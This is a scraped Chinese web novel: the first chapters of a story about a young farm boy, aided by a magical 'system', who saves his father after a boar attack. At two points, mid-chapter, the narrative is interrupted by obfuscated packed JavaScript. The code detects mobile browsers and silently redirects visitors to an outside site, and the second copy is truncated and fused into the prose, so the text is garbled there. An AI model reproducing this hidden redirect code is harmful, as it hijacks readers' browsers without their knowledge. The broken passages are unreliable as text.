《古代农家子科举发家》 1. 第 1 章 清晨，长溪村学堂里传出朗朗读书声。 里头孩子在先生带领下摇头晃脑，正读着《三字经》。 临窗位置传来一阵窸窸窣窣的声音。 顾丰年蹑手蹑脚的踩着大石头，踮起脚尖，两只胳膊架在窗槛上，一颗圆乎乎的脑袋就这么露出头来。 他长着一双杏眼，亮晶晶的会说话，清澈灵动。 坐在窗边的牛长栋显然已经瞧见他，故作不知，还特意坐得笔直，试图挡住其他孩子的视线。 顾丰年感激一笑，眼睛成了月牙儿。 后排的牛学文听见动静，狠狠瞪了他一眼。 顾丰年不甘示弱，不但瞪回去，还朝他做了个鬼脸。 牛学文气坏了，顾不得正在读书就要伸手拍他脑袋。 顾丰年敏捷缩回去，让他拍了个空。 “咳咳。”领读的先生轻咳，吓得牛学文赶紧坐好，生怕打手心。 先生瞥了眼窗口的那颗圆圆小脑袋，并未理他，继续讲课。 “先学新课，再抽背，昨日功课没背出来的，照旧回去罚抄三遍，若再背不出来则继续抄，直至能背诵为止。” 这话让牛长栋苦了脸，牛学文却得意洋洋。 “今日我们学《三字经》下一段，彼既老，犹悔迟。尔小生，宜早思……” 顾丰年竖起耳朵听，不敢念出声打扰，只敢在心底偷偷背诵。 沈先生偶尔瞥一眼，便能瞧见小孩儿嘴巴无声自动，嘀嘀咕咕的样子玉雪可爱。 等沈先生讲完今日新课，开始抽背昨日的，顾丰年跳下石头，哒哒哒往院子里跑。 他熟门熟路的找到扫帚，扛着比他人还高的大扫帚开始干活，小小的人，将大大的院子清扫的一干二净。 确保院子里不见一片叶子，顾丰年才将扫帚放回去，拍了拍手跑出去玩。 等先生教完课出来，果然只瞧见干净的院子，那孩子已经跑得无影无踪。 沈先生带着笑意微微点头。 年初他被牛地主请来教学，在长溪村办了这个学堂后，周围有条件的人家都将孩子送来读书。 但乡下多是靠一亩三分地糊口的百姓，吃饱饭都难，更别提读书了，统共只十二个学生。 老百姓都知道读书认字的好，交不起束脩就让孩子趴在窗下旁听。 见沈先生并不阻止，呼啦啦的来了一群孩子，村里头能来的都来了，只要他们不吵闹，沈先生是不管的。 能来学堂偷听的顶多七八岁，村里头的孩子，再大一些的就得下地干活。 这点大的孩子性子最跳脱，读书又不是多有趣的事情，哪里待得住。 才过三天，乌压压的人头就少了一半。 又过了一个月，窗外就剩下三三两两。 如今三个月过去，硕果仅存，沈先生没想到留到最后的，竟是个才五岁的小萝卜头。 年纪虽小，孩子瞧着伶俐，也懂事乖巧从不吵闹，只是不知道听了有没有记住，天赋如何。 沈先生心底琢磨，若这孩子能坚持学完《三字经》，他便找个机会考校一番。 被先生惦记着的顾丰年，此时正蹲在路边抓蛐蛐。 他眼神极好，一会儿就抓了好几只，选来选去，最后只留下个头最大，叫声最响亮的一只。 从怀中掏出小笼子装好，那是他爹特意给做的，顾丰年不急着回家。 “小九，我已经背会了今天的，可以换糖吃吗？”顾丰年想甜甜嘴。 【不行】系统冰冷回绝。 【完整收录一本书才有积分奖励，请宿主多多努力】 系统无语，系统崩溃，系统拿他一点办法都没有。 早知道三岁小孩儿这么难带，完全不懂金手指的好，贪吃好玩不努力，还得它自掏腰包买糖哄着，009宁愿沉睡，也不会跟土著幼崽绑定。 说多了都是泪，009只能安慰自己，至少这孩子童真可爱。 顾丰年小大人似得叹气，糖真好吃，可沈先生每天只教一句，他也没办法。 到底什么时候才能再吃到香香甜甜，比爹从县城带回来那些更甜的糖。 “丰年。”学堂到点放学了。 一放学，孩子们如脱缰野马般出笼，一刻也不想多留。 牛长栋人高马大跑得最快，滋溜就到了顾丰年跟前，急切地问：“今日先生教的你可背会了？” “当然，我可聪明了。”顾丰年得意扬起下巴，嘚瑟的很。 牛长栋松了口气，连声道：“待会儿你再教我背几遍，哎，昨日的还没背会，今日又教新的，这样下去我岂不是日日都要挨打。” 说着，他心有余悸摸了摸手心，皮糙肉厚也不想挨打，太丢人。 “切，学不会来问小屁孩，真丢我们牛家的脸。” 牛学文慢吞吞，背着手走过来，这是他学了沈先生平日走路教书的样。 两人沾亲带故都姓牛，但牛学文是牛地主的大孙子，穿戴都比同窗好一截，牛地主觉得孙子自小聪明，这才废了大功夫请来沈先生。 为此，牛学文很有几分瞧不起人，尤其瞧不起那些给不出束脩，整日里站在窗口占便宜的——说得就是顾丰年。 更可气牛长栋学不会，不问他这个堂兄弟，反倒问跟他不对付的顾丰年。 “喂，顾丰年，你怎么又趴在窗口偷听，脸皮真厚。”牛学文每次都要刺几句。 顾丰年可不是善茬，从不吃亏：“先生都不管，要你管。” “你打扰我读书了，我当然要管。”牛学文生气道。 顾丰年扮鬼脸：“那肯定是你读书不用心，若是用心怎么会被打扰，你不反省自己，还要迁怒别人，略略略——” “你——找打。”牛学文斯文人形象没维持多一会儿就要动手。 顾丰年也是个不怕事儿的：“来啊，单挑，我才不怕你。” “看我不打得你满地找牙。” 牛长栋将书包一丢：“要打架是吧，我来。” “你姓牛，应该帮我，你到底是谁哥！”牛学文见他站在顾丰年那头，气得直跳脚。 牛长栋摩拳擦掌：“谁年纪小的就帮谁，先生说了要锄强扶弱，丰年就是弱小。” 顾丰年个头矮，长得白嫩嫩小小只，牛学文比他大四岁，吃得多长得壮人还黑，对比强烈。 牛长栋认为自己帮理不帮亲，谁让牛学文一点不招人喜欢。 三小只到底没打起来，书包刚丢，就有孩子跑过来。 一边跑一边喊：“顾小六，你爹被野猪撞死了，你爹被野猪撞死了——” 顾丰年小脸刷的白了，骂了一句“你胡说”，撒腿就往家里跑，连费了大力气找到的蛐蛐都顾不上。 “丰年。”牛长栋捡了蛐蛐追上去。 牛学文也吓坏了，再不敢提打架的事儿。 顾家门口闹哄哄围满了人，看见顾丰年跑回来纷纷让开路，面露同情。 “小六快回家，快去见你爹最后一面。” “顾老爹运气也太差了，怎么就遇上野山猪了。” “流了那么多血，眼看是活不了了。” 顾丰年捂住耳朵，一个劲冲进屋子里，刚进去就闻到浓郁的血腥味。 他爹被放在门板上，衣裳都染红了，娘已经哭晕过去，哥嫂们满脸着急担忧，五姐和侄子侄女更是哭成了泪人儿。 “爹！”顾丰年想扑过去。 顾老大一把拦住弟弟，将他按在怀中：“小六，别惊了王大夫。” 长着白胡子的王大夫施针的手都在颤抖，用尽办法也没能止血。 “老夫医术浅薄，该用的法子都用了，血一直止不住，现在也只能看菩萨会不会保佑了。” 这话等同于让顾家准备后事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383233|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 顾老大脸色惨白：“大夫，你再想想办法啊。” “只要您能救回我爹，不惜银钱药材，我给您磕头了。”顾老三跪下来就是哐哐磕头，没两下，额头就见血了。 顾老四更是面如土色，恨不得一命换一命。 王大夫无奈：“我会的法子都用上了，实在是……” “孩儿他爹，你可不能走啊，你走了让我跟孩子怎么办？”顾老娘刚被掐醒就听见这话，差点没再晕过去。 门口村人看见那血糊糊的样子，王大夫话里话外的意思，开口提醒：“顾家的，眼看是活不成了，不如早些准备后事，总得让他走的体面些。” 顾丰年心头一颤一颤的，大声喊道：“你们胡说，我爹不会死，吉人自有天相。” 村人觉得他孝顺，也不见怪，只是叹息。 孩子懂什么，人流了那么多血，神仙来了也难救。 顾老大也是心慌意乱，只知道说：“老二去县城请大夫了，县城的大夫医术高明一定有办法。” 王大夫不忍心告诉他们，长溪村去县城，来回至少得半个时辰，以顾老爹现在的情况，恐怕坚持不了那么久。 大夫还没请回家，血都已经流干了。 顾丰年还小，不懂为何早晨出门前爹还好好的，怎么忽然就要死。 他挣脱大哥的手，趴在亲爹身上喊：“爹，我是丰年，你快醒醒呀，爹答应过带我去县城玩，你不能食言。” “爹，我保证以后听话，再也不调皮捣蛋，只要你醒过来我都听你的。” 小孩儿声音尖利，刺得周围的人眼泪止不住。 顾老爹脸色越来越白，身体也越来越凉，小小的顾丰年知道，再不做点什么，爹就要死了。 死就是永远消失，跟村里老人一样埋进小小的土包，再也不会抱着他说笑。 【小九，救救我爹，我保证以后好好背书，求求你救救我爹】 顾丰年抓住最后一根救命稻草。 小九是在他三岁多的时候出现的，有一个很长很长的名字，总是说一些很奇怪，他听不懂的话。 顾丰年一开始很害怕，觉得小九是孤魂野鬼，夜夜啼哭还发烧了，吓得顾家夫妻求医问药不成就求神拜佛。 时间长了，顾丰年心大，接受了小九的存在。 毕竟小九发誓不会伤害他的家人，还给他糖吃，顾丰年便觉得小九就算是孤魂野鬼，那也是善良的好鬼，还是个喜欢读书的好鬼，顿时安心下来。 他试过将小九存在告诉爹娘，但却没办法开口，顾丰年认定这是小九的“妖术”。 小九说过，只要他好好读书，收录完一本书，就能获得薪火点。 顾丰年不知道薪火点到底是什么，只知道薪火点能换糖吃。 但是现在，顾丰年不想吃糖，只想救回爹爹的命。 他哭着喊道：【只要你能救我爹，以后我都听你的，你让我往东我就往东，你让我抓蛐蛐，我不会抓毛毛虫。】 系统沉默许久。 阴差阳错绑定了个土著成宿主，还是个农家三岁小儿，一年时间愣是毫无进展。 系统还得自掏腰包给糖吃，才哄得小孩天天去学堂偷听背书，偏偏那位先生教学进度缓慢。 看着金额为0的薪火点，系统默默叹气。 【可以赊账】 顾丰年支棱起耳朵：【那就赊账。】 【止血药 5薪火点/份】 【赊欠后，宿主必须在三日内偿还，否则将面临惩罚】 【伤药可自动投放到病人伤口处】 顾丰年才不管惩罚：【快救我爹】 眼前一晃，顾丰年低头去看伤口。 王大夫施了针，用了药，想尽办法都没止住的伤口，此刻立竿见影好起来。 “血止住了，我爹不会死。”顾丰年惊喜大喊起来。 2. 第 2 章 王大夫连忙上前检查，一看，果然已经止住血。 他心底狐疑，刚才血还在哗啦啦地流，他自制的伤药完全没效果，怎么一会儿就止住了。 啥时候他医术这么高明了？ 但止血是好事，王大夫连忙道：“能止住血，说不准能保住性命。” 顾丰年将眼泪一擦：“娘，爹一定能活下来。” 斩钉截铁的话，给了顾老娘王氏信心，她知道自己这时候不能倒，更不能慌：“老大，你出去接一接，看老二到哪儿了。” “老三老四，先把你们爹搬到屋里头去。” 几个儿子应声要动，王大夫连忙阻止：“先别动他，血刚刚止住，最好别动，等城里大夫来了看看怎么说。” 王氏伤心过度，这会儿眼前发黑，脑子还在一阵阵发晕：“听大夫的话。” 听见稀稀拉拉的哭声，又板起脸来：“都给我把眼泪收了，你们爹还没死。” 顾大嫂顾二嫂赶紧把孩子拽出去，免得他们触霉头。 顾丰年走到王氏身边，握住她的手：“娘，你别怕，爹听见我们的话，肯定不舍得丢下我们。” 孩子小手暖呼呼，给了王氏力量。 “丰年说得对，你爹一定不舍得丢下我们孤儿寡母。” 又说：“小六，他平日最疼你，跟你爹说说话，让他使使劲坚持住，待会儿大夫就来了。” 顾丰年听话，一手拉着王氏，一手拉着顾老爹，口中说着：“爹，你一定要活下来，我们说好了。” 看得村人们都想陪着落泪。 好一会儿，眼看顾老爹又要不好起来，外头传开一阵动静。 “让开，回春堂的大夫来了。” 只见顾老大背着一个胡子花白的大夫进来，村人连忙把路让开，顾老二满头大汗的跟在后头，他已经背着大夫跑了一路，两条腿都是软的，全靠对亲爹的一番孝心才没倒下。 “大夫，您快给看看。”顾老娘看到了救星。 大夫看到满地血也是吓了一跳，顾不得喘口气就蹲下来检查。 一把脉，神色凝重。 “大夫，孩子爹怎么样？”顾老娘急声问道。 大夫抬头，看向屋里头唯一一个带着草药味的人：“这是你处理的？” “老夫懂点儿粗浅医术，平日给乡亲们治个头疼脑热讨生活。”王大夫解释。 “顾兄弟的伤势太严重，只能先敷了伤药施针止血，侥幸止了血，却不敢胡乱配药。” 回春堂董大夫点头：“你的伤药做得不错。” “都是我亲自采药，按着医书上的方子做的。”王大夫回答。 顾老大等急了，忍不住插嘴问：“大夫，我爹他到底怎么样？” 董大夫再次把脉，这才开口：“得亏血止住了，看着伤口大但五脏六肺没受伤，所以能保住一条性命，不过你们得做好心理准备，他受伤太重，即使能活下来，以后也干不了重活，只能吃着药在家躺着。” 顾家人脸色都变了。 “爹爹没事了！”顾丰年欢喜的叫道。 他太小，听不懂大夫话里有话，只知道爹能活下来。 王氏缓过劲儿来：“能活下来就好，往后就好好养着。” 几个儿子也纷纷开口：“往后我们养着爹。” 董大夫又说：“既然如此，老夫先给他开个药放吃着，他失血过多，得用好药材补上，不然很难好起来。” 他见顾家房子不大好，几个男人穿戴也寒酸，提醒道：“补血的药材价格昂贵，至少得吃十天，一贴药少说也得一两银子。” 一两银子！ 十天就是十两银子，普通农户一年到头能攒下个一两就算富余，十两银子是天价。 村人听见价格都倒抽冷气。 董大夫怕他们以为自己故意讹钱，解释道：“里头有人参、地黄等药材，所以价格才贵。” 顾家人纷纷看向王氏，家里头银钱一直是她管着。 王氏脸色也不轻松，按理来说，顾家男丁多，顾老爹还有打猎的手艺，日子过得还算不错，隔三差五能沾点荤腥。 可当家才知道日子难，顾老爹是个孤儿，吃百家饭长大无甚家底，夫妻俩落户长溪村后，一口气生了五个儿子，一个女儿，还全部都养活了，挣的不如花的多。 家里头刚富裕一些，老大老二又要娶媳妇给彩礼，一家老小都要吃饭。 “吃，我们吃药。” 王氏咬牙，走进屋子将私房钱都翻出来，那原本是想留着给老三老四娶媳妇用的。 可凑来凑去还差了四两银子。 “大山娘。”顾老大开口喊道。 顾大嫂牛氏赶紧回屋，再出来的时候拿着铜板，数了数能有一两半。 牛氏显然将家底都拿出来了。 “只有这些了。”因没分家，晚辈手里头没钱，这些都是她精打细算留下来的。 顾老二看向媳妇。 老二媳妇赵氏最小气，但也知道不是闹脾气的时候，拖拖拉拉拿出半两银子：“攒了好些年也只这么多。” 剩下老三老四还未成亲，家底掏空也只有一百文。 算来算去还差一些。 顾丰年一看，连忙跑回屋子，再出来就捧着个红包，那是过年时爹娘给的压岁钱。 “娘，给。”他都交给了王氏，“给爹看病要紧。” 他龙凤胎姐姐顾丰收一看，也将压岁钱拿出来：“娘，还有我的。” 几个侄子侄女面面相觑，他们压岁钱也无，都让爹娘收缴走了。 王氏摸了摸儿女圆乎乎的脑袋：“大夫，还差一两银子，您看能不能先赊账，回头我们就算卖房卖地也会还上。” 董大夫为难：“诊费能给你免了，可药钱不行，不给钱，药房不肯给药。” 他知道农户艰难，可正因为艰难才有这规矩，人人都难，药钱少了就再难收回来。 王氏脸色一白。 她咬了咬牙，转身朝着乡亲们弯下腰：“各位叔伯乡邻，今日我顾家遭了难，实在是手头艰难，求大家借我几个药钱，等回头我跟儿子们定会还上。” “我家几个儿子都是壮劳力，就算卖命也不会赖账的。” “爷爷奶奶叔叔伯伯，欠下的药钱我一定会还。”顾丰年连忙跟着求。 顾家几个哥哥哪能让幺弟上，纷纷开口，保证一定会还钱，绝不赖账。 只是看热闹的多，愿意出钱的少，大家日子都不宽裕。 偏顾家本来就是外来户，沾亲带故的少，没有长辈能搭把手。 愿意借钱的也多是三五文，王氏一一感谢，让孩子们都记下来。 牛长栋跑回家报信，牛村长赶过来，见状又让回家拿了一百文。 乡里乡亲凑了凑，最后还差一百文钱。 王氏狠下心：“去把家里头的鸡抓了卖。” “大夫，就让我家老大老二送您回县城，顺道儿将鸡卖了，药钱就够了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383234|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 董大夫见他们家父慈子孝，一心救人，倒是说：“也别耽误时间，这鸡我买了，带上银子跟我回去取药。” 临走前又叮嘱：“伤口没痊愈之前别沾水，这几日除了药只能喝米汤，等过三日情况好一些才能吃饭。” “往后要是有条件，就让他多吃一些牛肉，没有牛肉，吃些猪肉猪肝也好，再不济每天一个鸡蛋，气血若养足了身体才能好起来，不然药也白吃了。” 王氏一一应下。 心底却犯愁，如今家底都掏空了，哪里还有银钱买牛肉。 顾丰年仰着头，将爹需要吃肉，吃猪肝，吃鸡蛋记在心里。 顾家老大跟着大夫去镇上抓药，剩下几个儿子小心翼翼地将亲爹搬进屋子。 围观的村人纷纷散去。 路上不免唏嘘，感叹顾老爹时运不济。 眼看着儿子大了，孙子都有了，日子宽裕，偏偏被野山猪撞得肠穿肚烂，如今家底花光还欠了一屁股债。 听大夫的意思，以后也当不了猎户挣钱，只能当个药罐子成拖累。 顾家的日子只怕是难喽。 其余儿子已经长大成人还好，顾老六才五岁，怕是有的苦头吃，再也没现在的好日子过。 顾丰年并不知道村人的议论，趁着大人忙碌，他拿来一块湿帕子，避开伤口，小心翼翼的给顾老爹擦脸。 擦完了，顾丰年喘了口气，转头安慰愁眉不展的家人：“娘，以后我会努力挣钱，给爹买药治病，爹吃了药就能好起来，跟以前一样。” 顾老娘心底叹气，摸着他的脑袋没说话。 大夫都那么说了，能保住性命已是幸运，哪里还能跟以前一样。 老四哐当一声跪下来，哭着打自己巴掌：“都怪我，爹都说了深山危险，不许我去，我偏要去，要不是为了救我，爹也不会受伤。” 他懊悔不已，啪啪啪给了自己几个大耳光。 除了跟大夫去抓药的顾老大，老二老三也跟着跪下来：“娘，我们作为哥哥没能拦着老四，还跟着他一起胡闹，结果害了爹，是我们不孝，你打我们骂我们吧。” 顾老娘一听，立刻就明白发生了什么。 他爹素来是个谨慎的性子，虽是猎户，却从不冒险，看见野山猪都是避着走。 “事情都发生了，现在怪你们还有什么用，我若打了你们，等你们爹醒来还得心疼。” 顾老娘知道怪他们也于事无补，只说：“闹了一日你们也累了，早些回去休息，这儿我守着。” 不等他们反驳，又说：“我知道你们都是好孩子，有孝心，正因如此才更要好好休息，明日起来才能下地干活，才能挣钱养家，咱们还欠着外债，你爹倒下，往后家里就靠你们几个。” 几个儿子这才抹着眼泪离开。 安静下来，顾老娘坐在床边看着老伴儿。 平日里最健硕的人，这会儿脸白的跟血似得，等他醒来知道自己成了半个废人，还不知道怎么伤心难过。 顾丰年看看爹，又看看娘，意识到不对劲。 爹明明活着，为什么娘还是不高兴？ 小孩儿抿紧嘴角，在心底问：【小九，我爹会好起来吗？】 【宿主父亲伤势过重，虽然保住了性命，但以当前世界医疗水平会留下病根，以后会变得体弱多病，影响寿命】 顾丰年听完，小脸都皱成了一团。 【小九，生病很难受的，我想让爹好起来，跟以前一样，不要体弱多病】 3. 第 3 章 【宿主可以用薪火点，从系统采购药品治好你爹。】 顾丰年眼睛一亮，但看到那个大大的零鸭蛋，眉眼又耷拉下来。 他已经知道，那个圈圈代表自己一个薪火点都没有。 “是不是累了，你也回屋休息，这儿有娘在就够了。” 王氏虽然牵挂着丈夫的身体，却也关心孩子，见他无精打采的样子就催着去休息。 顾丰年想说自己不累，他要等到爹爹醒来，但眼珠子一转，点头往外走。 小孩儿蹑手蹑脚的试图离开家门。 “小六。”顾丰收叫住他。 她一直没睡觉，等着弟弟出来呢。 “天都黑了，你要去哪儿？” 顾丰年比了个嘘的手势：“五姐，我要去找沈先生。” 虽然年纪一般大，但顾丰收总爱当姐姐，特别有姐姐的样儿：“这个点沈先生肯定都歇下了，你去干什么，有事儿明天再去，爹受了伤，你要是大晚上出门磕碰到，回头我们还得担心你。” “五姐，我有很重要的事情。”顾丰年坚持道。 他想赶紧背完三字经，拿到薪火点，让爹爹明天就好起来。 顾丰收还是不答应，拽住他的手：“不行。” “你打小身体弱，天黑露重外头冷，不能出去。” 顾丰收紧紧拉着弟弟，如今娘忙着照顾爹，她就得照顾好六弟，不给家里添乱。 俩孩子正僵持着，外头有了动静，顾老大提着药回来了。 “你俩在门口干啥呢，赶紧去睡觉。” 顾大嫂在里头听见动静，小心翼翼的接过药进了厨房，轻飘飘的药包，竟是要十两银子，牛氏是一点渣渣都不敢弄丢。 “大夫说了，煎完的药渣先别丢，可以再煎一次，这样爹能多喝一段时间。” “好，我记住了。” 折腾了一阵，喝了药，顾老爹紧皱的眉头终于舒展开来。 “这药真有效，才刚喝下去，你爹瞧着就有血色了。”王氏惊喜道。 顾老大仔细看了看，也说：“爹明日肯定就能醒。” 牛氏在后头张望，也没看出个差别来，抿着嘴不说话。 见顾老爹情况稳定，夫妻俩总算是安心不少，出来瞧见两个小的还在门口堵着。 龙凤胎出生的时候，顾老大已经到了谈婚论嫁的年纪，一贯把俩孩子当亲生儿女看待。 “今天跟大哥大嫂睡好不好？”顾老大开口，怕爹的事情吓到俩孩子，晚上会做噩梦。 顾丰年没法出门，只能妥协，嘴巴都能挂油壶。 牛氏利落的将俩孩子剥光，塞进暖呼呼的被窝，里头还装着三个孩子，这会儿都睡得打起小呼噜。 幸好床够大，再来两个也能躺得下，姐弟俩也习惯跟哥嫂睡，很快融为一体。 心底挂着事，小孩儿身体也扛不住累，顾丰年睡得比姐姐还要快。 牛氏摸了摸他的额头：“没发热。” “小六打出生身体就不好，经不住吓，晚上你警醒着多看几次。”顾老大叮嘱。 “还要你提醒。” 牛氏进门的时候，丰收丰年也才一个多月，因是龙凤胎体弱多病，丰收还好，在娘肚子里没少欺负弟弟，吃得多身体壮。 丰年身体就差多了，小小的病猫一只，牛氏没生孩子的时候，也是将幺弟当儿子带，废了不知道多少心思才把他养到五岁。 论感情，小姑子小叔子就像她大女儿大儿子。 “满山，你说爹能好起来吗？”牛氏心底发愁。 顾老大叹气：“大夫说了，能留住性命已是菩萨保佑，再多不敢想，反正咱家兄弟多，就算爹以后不能干活，我们也养着他。” 提起这个，顾老大心底也沉甸甸的，却又怪不了谁。 牛氏心底发沉。 “只怕爹自己想不开。”公公为人多要强，牛氏也是知道的，如今成了半个废人如何是好。 顾满山也知道：“这也是没办法的事情，人活着就好，以后的事情以后再说。” 牛氏轮流摸了摸孩子们额头，发愁不已，家里银钱一下子全花光了，还欠了那么多外债，公公还得好吃好喝养着，钱能从哪儿来？ “别发愁，回头我带老二他们去码头搬货，也能挣钱。”顾满山安慰。 牛氏心想，码头搬货多累，活不好找还得挨骂，村里有男人去搬货被抽了一鞭子，现在脸上还带着疤，老百姓受了这委屈也没地方说。 以前公公有打猎的手艺，几个儿子给他打下手，并不需要去干苦力。 心疼男人，牛氏开口说：“实在不行，我回娘家借一点，先过了这难关。” “再说吧。”不到万不得已，顾满山是愿意让媳妇回娘家开口的。 隔壁屋里头，老二夫妻也正在说话。 自打交出了私房钱，老二媳妇赵氏就满身不自在，这会儿孩子睡着，她忍不住就发作起来：“爹都这样了，以后咱家可怎么办？” “能咋办，下地干活，挣钱还债，只要有力气饿不死人。”顾老二顾满月是个直脾气，跟名字完全不搭。 赵氏瞥了他一眼：“你说的倒是轻松，下头四个弟妹都没成家，聘礼嫁妆不要银子？大嫂家三张嘴，咱家也有两张，都是光吃不干的，每天一睁眼就得吃饭，现在连鸡都卖了，咱家的粮食可不多了。” 顾满月听了也心烦：“没粮食就少吃点，我们兄弟四个，各个都人高马大有力气，到哪儿都能讨口饭吃。” 赵氏气得打他：“光饿不死就成了是吧？合着我嫁给你就为了挨饿。” “你没嫁过来的时候不也天天挨饿，怎么，在赵家挨饿可以，在顾家就不行？那你回娘家去。”顾满月也不惯着她。 赵氏气得心肝疼：“你赶我回去，好啊，你个没良心的……” “我什么时候赶你了，不是你自己说要回去。”顾满月不耐心，将被子一拉。 “不回去就不回去，赶紧睡觉，明天还得干活，一天下来人都累死了，就你话多。” 还警告她：“你在我这儿发发牢骚就算了，出了房门收敛点，要让娘听见肯定收拾你，到时候我可不会帮你。” 赵氏藏着一肚子的话，心想要是公公真成了药罐子，他们能不能分家单过。 但她最后没敢提，因为提了，顾满月也不可能答应，下头一串弟弟都没成亲，没有这时候分家出去的道理。 还没成亲的老三顾惊蛰老四顾立秋住一个屋。 顾老四是真后悔，要不是他，爹也不能受伤，家里也不会这么难。 “老四，别想了。”顾老三安慰他。 顾老四两只眼睛都是红肿的，额头上都是磕出来的血：“要是爹有个三长两短，我就算偿命都不够。” “都说了爹没事，你就别瞎想了。” 顾老三心底叹气，怕弟弟钻了牛角尖过不去这道坎，索性说：“其实我知道，你今天那么冲动是为什么。” “小六总是往学堂跑，咱家却拿不出余钱来，你是想打了那头落单的野猪，这样几年的束脩都有了，对吧？” 顾老四沉默下来。 龙凤胎跟他们差了快十岁，落地的时候他们都是半大孩子了，向来很疼弟妹。 顾丰年又是个嘴甜心甜的，兄弟感情一直很好。 顾老四见他整日往学堂跑，每天垫着脚尖趴在窗台上偷听，回家能一字不差的将《三字经》背出来。 丰收自小体弱，好不容易被养的白白嫩嫩，怎么看都不是下地干活的料，顾老四偷听爹娘说话，要不是家里头银钱不称手，他们也想送小六读书。 赵老四当地心底也动了送弟弟去读书的念头。 可农户人家，哪里供得起读书人，不只是束脩，后头笔墨纸砚就是一笔大花销。 偏偏顾家家底单薄，他们兄弟又都到了快娶亲的年纪，光聘礼就够老夫妻发愁的。 顾老四当时撞上落单野猪，眼里只看到一笔钱，哪想到追着追着，遇上了野猪群，反倒害了亲爹。 幸好爹保住了性命，不然顾老四寻死的心都有。 现在说什么都迟了。 “爹娘不怪你，我们也不会怪你，这是意外。” 顾惊蛰安抚弟弟，又说：“有这个时间懊悔，倒不如想法子挣钱，有了钱，爹多吃些好东西补补，也许身体就能好起来。” 听了这话，顾立秋也顾不得懊悔难过，一门心思琢磨怎么样才能挣钱。 顾丰年呼呼大睡，不知道这桩祸事还跟自己有关系。 一觉醒来，天已经大亮。 牛氏正扒拉着孩子起来，外头已经有动静。 “大嫂，我来给弟弟侄子穿衣裳，你自去忙吧。”顾丰收开口。 顾丰年一个激灵：“我自己穿。” 说着一骨碌爬起来，顶着脑袋就往衣服里头钻。 牛氏昨晚发愁，这会儿瞧他跟毛毛虫似得被逗笑，轻拍了一下圆滚滚的屁股：“行，那大山他们就交给你了，穿好出来吃饭。” 顾丰收见弟弟不需要帮忙，转身帮侄子侄女穿，非常大力气的把他们往衣服里头套。 这头，顾丰年把 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“大夫说了，你爹得先吃流食，等过几天才能吃别的。”王氏没好气的赶他，“赶紧吃饭去，别给我添乱，我还能亏待你爹不成。” 顾丰年想起大夫确实说过这话，这才跑了出去。 王氏笑着摇头：“这孩子，小小年纪操不完的心，全家老小都不如他操心多。” “丰年孝顺，是个好孩子。” 顾老爹对幺儿滤镜一千层，还说：“这次你们都吓坏了吧，老子命大，等好了再去找那山炮算账，打了给小六交束脩。” “瞧把你能的，赶紧吃饭，还要老娘喂你不成。”王氏心底发酸，哪里还有算账的机会。 顾老爹试着抬了抬手，没啥力气，到底是要喂。 王氏细心，喂一口还给擦擦嘴，完全不弄脏他衣裳。 “咱家太穷，没把丰年养好，他合该是读书的料，像他——”顾老爹止住话，脸上满是遗憾。 王氏不知道想到什么，眼底闪过一丝挣扎，最后只说：“吃还堵不住你的嘴，大夫说了多吃多睡才能好得快。” 外头，牛氏负责摆饭盛粥。 结果粥刚上桌，赵氏就嚷嚷起来：“大嫂，今天的粥怎么这么稀，咱家不会要断粮了吧？” 牛氏瞪了她一眼：“怎么，你娘家不年不节吃干饭？” 说完没搭理她，照旧将一颗鸡蛋放到顾丰年跟前。 这也是顾丰年才有的优待，因为小时候身体太差，大夫说了得吃些好的，别的家庭条件不允许，王氏就做主，每天给他吃一颗鸡蛋。 确实有用，这些年下来，顾丰年身体好多了，如今也不太生病。 赵氏又不乐意，朝着顾丰年就说：“家里鸡都卖了，小叔子还吃得下？” 这话一说，顾家兄弟几个脸都黑了。 侄子侄女都被吓得不敢说话，顾丰收瞪着眼睛，起身就要跟二嫂干。 “吃得下，大家都吃得下。” 顾丰年站起身，熟练剥开鸡蛋，将小小的鸡蛋分成很多块。 “每人一块尝尝味道，大家都要好好吃饭，这样身体才好，身体好才能挣钱。” 顾丰年分完，仰着头说：“爹说过，我们是一家人，关键时候就得拧成一股绳，这样才能共渡难关。” 餐桌上气氛顿时缓和下来。 顾满山伸手摸了摸幺弟头发：“大哥身体好的很，用不着吃鸡蛋，你自己吃。” 鸡蛋才多大，这么多人分一分也就只能尝个味道，顾满山不贪这口。 “不，大家都要吃，我不能一个人吃独食。”顾丰年坚持道。 他知道家里头一共四只母鸡，昨天卖了两只，所以鸡蛋就少了。 平时他吃一颗鸡蛋，娘还会单独拿一颗炖一大碗鸡蛋羹，每个人都能分一点。 今天大嫂没做鸡蛋羹，肯定是家里困难。 顾丰年就把鸡蛋分一分，确保每个人都能吃到。 等他赚到薪火点，就换数不清的鸡蛋，每人发十个！ “好，大家都吃。”牛氏眼眶酸溜溜，多懂事的孩子，也就二弟妹脾气古怪，老跟孩子过不去。 顾满月更是说：“你二嫂就是嘴上没把门，别理她，就当她放屁。” “扑哧——”顾丰收瞧见二嫂黑黢黢的脸，不禁笑出声来。 吃完饭，顾丰年就再也坐不住，撒丫子跑出门。 他要读书，赚薪火点，让爹爹身体立刻好起来。 4. 第 4 章 顾丰年没跑出去两步，就被顾丰收追上了。 “刚吃完饭别跑，娘说了会肚子疼。”顾丰收教训道。 “五姐，撒手，我要去学堂。”顾丰年挣扎。 